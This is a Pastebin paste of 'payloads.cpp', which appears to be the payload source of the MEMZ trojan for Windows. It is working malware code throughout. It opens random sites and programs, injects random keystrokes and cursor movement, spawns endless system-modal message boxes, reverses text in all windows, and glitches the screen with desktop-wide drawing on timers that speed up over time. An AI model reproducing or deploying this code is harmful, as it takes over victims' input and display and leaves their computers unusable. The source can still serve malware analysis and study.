Advertisement
FlyFar

payloads.cpp

Mar 21st, 2023
688
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.28 KB | Cybersecurity | 0 0
  1. #include "memz.h"
  2.  
  3. PAYLOAD payloads[] = {
  4. #ifdef CLEAN
  5.     { payloadExecute, L"Open random websites/programs", NULL, 0, 0, 0, 0, FALSE },
  6.     { payloadCursor, L"Random cursor movement", NULL, 0, 0, 0, 0, TRUE },
  7.     { payloadKeyboard, L"Random keyboard input", NULL, 0, 0, 0, 0, FALSE },
  8.     { payloadSound, L"Random error sounds", NULL, 0, 0, 0, 0, TRUE },
  9.     { payloadBlink, L"Flashing screen", NULL, 0, 0, 0, 0, TRUE },
  10.     { payloadMessageBox, L"Message boxes", NULL, 0, 0, 0, 0, TRUE },
  11.     { payloadDrawErrors, L"Draw error icons", NULL, 0, 0, 0, 0, TRUE },
  12.     { payloadChangeText, L"Reverse text", NULL, 0, 0, 0, 0, FALSE },
  13.     { payloadPIP, L"Tunnel effect", NULL, 0, 0, 0, 0, TRUE },
  14.     { payloadPuzzle, L"Screen glitches", NULL, 0, 0, 0, 0, TRUE }
  15. #else
  16.     { payloadExecute, 30000 },
  17.     { payloadCursor, 30000 },
  18.     { payloadKeyboard, 20000 },
  19.     { payloadSound, 50000 },
  20.     { payloadBlink, 30000 },
  21.     { payloadMessageBox, 20000 },
  22.     { payloadDrawErrors, 10000 },
  23.     { payloadChangeText, 40000 },
  24.     { payloadPIP, 60000 },
  25.     { payloadPuzzle, 15000 }
  26. #endif
  27. };
  28.  
  29. const size_t nPayloads = sizeof(payloads) / sizeof(PAYLOAD);
  30. BOOLEAN enablePayloads = TRUE;
  31.  
  32. DWORD WINAPI payloadThread(LPVOID parameter) {
  33. #ifndef CLEAN
  34.     int delay = 0;
  35.     int times = 0;
  36.     int runtime = 0;
  37. #endif
  38.  
  39.     PAYLOAD *payload = (PAYLOAD*)parameter;
  40.  
  41.     for (;;) {
  42. #ifdef CLEAN
  43.         if (enablePayloads && SendMessage(payload->btn, BM_GETCHECK, 0, NULL) == BST_CHECKED) {
  44.             if (payload->delaytime++ >= payload->delay) {
  45.                 payload->delay = (payload->payloadFunction)(payload->times++, payload->runtime, FALSE);
  46.                 payload->delaytime = 0;
  47.             }
  48.  
  49.             payload->runtime++;
  50.         } else {
  51.              payload->runtime = 0;
  52.              payload->times = 0;
  53.              payload->delay = 0;
  54.         }
  55. #else
  56.         if (delay-- == 0) {
  57.             delay = (payload->payloadFunction)(times++, runtime);
  58.         }
  59.  
  60.         runtime++;
  61. #endif
  62.         Sleep(10);
  63.     }
  64. }
  65.  
  66. int payloadExecute(PAYLOADFUNC) {
  67.     PAYLOADHEAD
  68.  
  69.     ShellExecuteA(NULL, "open", (LPCSTR)sites[random() % nSites], NULL, NULL, SW_SHOWDEFAULT);
  70.  
  71.     out: return 1500.0 / (times / 15.0 + 1) + 100 + (random() % 200);
  72. }
  73.  
  74. int payloadBlink(PAYLOADFUNC) {
  75.     PAYLOADHEAD
  76.  
  77.     HWND hwnd = GetDesktopWindow();
  78.     HDC hdc = GetWindowDC(hwnd);
  79.     RECT rekt;
  80.     GetWindowRect(hwnd, &rekt);
  81.     BitBlt(hdc, 0, 0, rekt.right - rekt.left, rekt.bottom - rekt.top, hdc, 0, 0, NOTSRCCOPY);
  82.     ReleaseDC(hwnd, hdc);
  83.  
  84.     out: return 100;
  85. }
  86.  
  87. int payloadCursor(PAYLOADFUNC) {
  88.     PAYLOADHEAD
  89.  
  90.     POINT cursor;
  91.     GetCursorPos(&cursor);
  92.  
  93.     SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (runtime / 2200 + 2)), cursor.y + (random() % 3 - 1) * (random() % (runtime / 2200 + 2)));
  94.  
  95.     out: return 2;
  96. }
  97.  
  98. int payloadMessageBox(PAYLOADFUNC) {
  99.     PAYLOADHEAD
  100.  
  101.     CreateThread(NULL, 4096, &messageBoxThread, NULL, NULL, NULL);
  102.  
  103.     out: return 2000.0 / (times / 8.0 + 1) + 20 + (random() % 30);
  104. }
  105.  
  106. DWORD WINAPI messageBoxThread(LPVOID parameter) {
  107.     HHOOK hook = SetWindowsHookEx(WH_CBT, msgBoxHook, 0, GetCurrentThreadId());
  108.     MessageBoxW(NULL, L"Still using this computer?", L"lol", MB_SYSTEMMODAL | MB_OK | MB_ICONWARNING);
  109.     UnhookWindowsHookEx(hook);
  110.  
  111.     return 0;
  112. }
  113.  
  114. LRESULT CALLBACK msgBoxHook(int nCode, WPARAM wParam, LPARAM lParam) {
  115.     if (nCode == HCBT_CREATEWND) {
  116.         CREATESTRUCT *pcs = ((CBT_CREATEWND *)lParam)->lpcs;
  117.  
  118.         if ((pcs->style & WS_DLGFRAME) || (pcs->style & WS_POPUP)) {
  119.             HWND hwnd = (HWND)wParam;
  120.  
  121.             int x = random() % (scrw - pcs->cx);
  122.             int y = random() % (scrh - pcs->cy);
  123.  
  124.             pcs->x = x;
  125.             pcs->y = y;
  126.         }
  127.     }
  128.  
  129.     return CallNextHookEx(0, nCode, wParam, lParam);
  130. }
  131.  
  132. int payloadChangeText(PAYLOADFUNC) {
  133.     PAYLOADHEAD
  134.     EnumChildWindows(GetDesktopWindow(), &EnumChildProc, NULL);
  135.  
  136.     out: return 50;
  137. }
  138.  
  139. BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {
  140.     LPWSTR str = (LPWSTR)GlobalAlloc(GMEM_ZEROINIT, sizeof(WCHAR) * 8192);
  141.  
  142.     if (SendMessageTimeoutW(hwnd, WM_GETTEXT, 8192, (LPARAM)str, SMTO_ABORTIFHUNG, 100, NULL)) {
  143.         strReverseW(str);
  144.         SendMessageTimeoutW(hwnd, WM_SETTEXT, NULL, (LPARAM)str, SMTO_ABORTIFHUNG, 100, NULL);
  145.     }
  146.    
  147.     GlobalFree(str);
  148.  
  149.     return TRUE;
  150. }
  151.  
  152. int payloadSound(PAYLOADFUNC) {
  153.     PAYLOADHEAD
  154.  
  155.     // There seems to be a bug where toggling ALL payloads kills the sound output on some systems.
  156.     // I don't know why this happens, but using SND_SYNC seems to fix the bug.
  157.     // But the sound is not not as fast as before. I hope there is another way to fix it without slowing down the payload.
  158.     // As this only happens for the enable-disable part, I will only include that in the clean build as a workaround.
  159. #ifdef CLEAN
  160.     PlaySoundA(sounds[random() % nSounds], GetModuleHandle(NULL), SND_SYNC);
  161.     out: return random() % 10;
  162. #else
  163.     PlaySoundA(sounds[random() % nSounds], GetModuleHandle(NULL), SND_ASYNC);
  164.     out: return 20 + (random() % 20);
  165. #endif
  166. }
  167.  
  168. int payloadPuzzle(PAYLOADFUNC) {
  169.     PAYLOADHEAD
  170.    
  171.     HWND hwnd = GetDesktopWindow();
  172.     HDC hdc = GetWindowDC(hwnd);
  173.     RECT rekt;
  174.     GetWindowRect(hwnd, &rekt);
  175.  
  176.     int x1 = random() % (rekt.right - 100);
  177.     int y1 = random() % (rekt.bottom - 100);
  178.     int x2 = random() % (rekt.right - 100);
  179.     int y2 = random() % (rekt.bottom - 100);
  180.     int width = random() % 600;
  181.     int height = random() % 600;
  182.  
  183.     BitBlt(hdc, x1, y1, width, height, hdc, x2, y2, SRCCOPY);
  184.     ReleaseDC(hwnd, hdc);
  185.  
  186.     out: return 200.0 / (times / 5.0 + 1) + 3;
  187. }
  188.  
  189. int payloadKeyboard(PAYLOADFUNC) {
  190.     PAYLOADHEAD
  191.  
  192.     INPUT input;
  193.  
  194.     input.type = INPUT_KEYBOARD;
  195.     input.ki.wVk = (random() % (0x5a - 0x30)) + 0x30;
  196.     SendInput(1, &input, sizeof(INPUT));
  197.  
  198.     out: return 300 + (random() % 400);
  199. }
  200.  
  201. int payloadPIP(PAYLOADFUNC) {
  202.     PAYLOADHEAD
  203.  
  204.     HWND hwnd = GetDesktopWindow();
  205.     HDC hdc = GetWindowDC(hwnd);
  206.     RECT rekt;
  207.     GetWindowRect(hwnd, &rekt);
  208.     StretchBlt(hdc, 50, 50, rekt.right - 100, rekt.bottom - 100, hdc, 0, 0, rekt.right, rekt.bottom, SRCCOPY);
  209.     ReleaseDC(hwnd, hdc);
  210.  
  211.     out: return 200.0 / (times / 5.0 + 1) + 4;
  212. }
  213.  
  214. int payloadDrawErrors(PAYLOADFUNC) {
  215.     PAYLOADHEAD
  216.  
  217.     int ix = GetSystemMetrics(SM_CXICON) / 2;
  218.     int iy = GetSystemMetrics(SM_CYICON) / 2;
  219.    
  220.     HWND hwnd = GetDesktopWindow();
  221.     HDC hdc = GetWindowDC(hwnd);
  222.  
  223.     POINT cursor;
  224.     GetCursorPos(&cursor);
  225.  
  226.     DrawIcon(hdc, cursor.x - ix, cursor.y - iy, LoadIcon(NULL, IDI_ERROR));
  227.  
  228.     if (random() % (int)(10/(times/500.0+1)+1) == 0) {
  229.         DrawIcon(hdc, random()%scrw, random()%scrh, LoadIcon(NULL, IDI_WARNING));
  230.     }
  231.    
  232.     ReleaseDC(hwnd, hdc);
  233.  
  234.     out: return 2;
  235. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement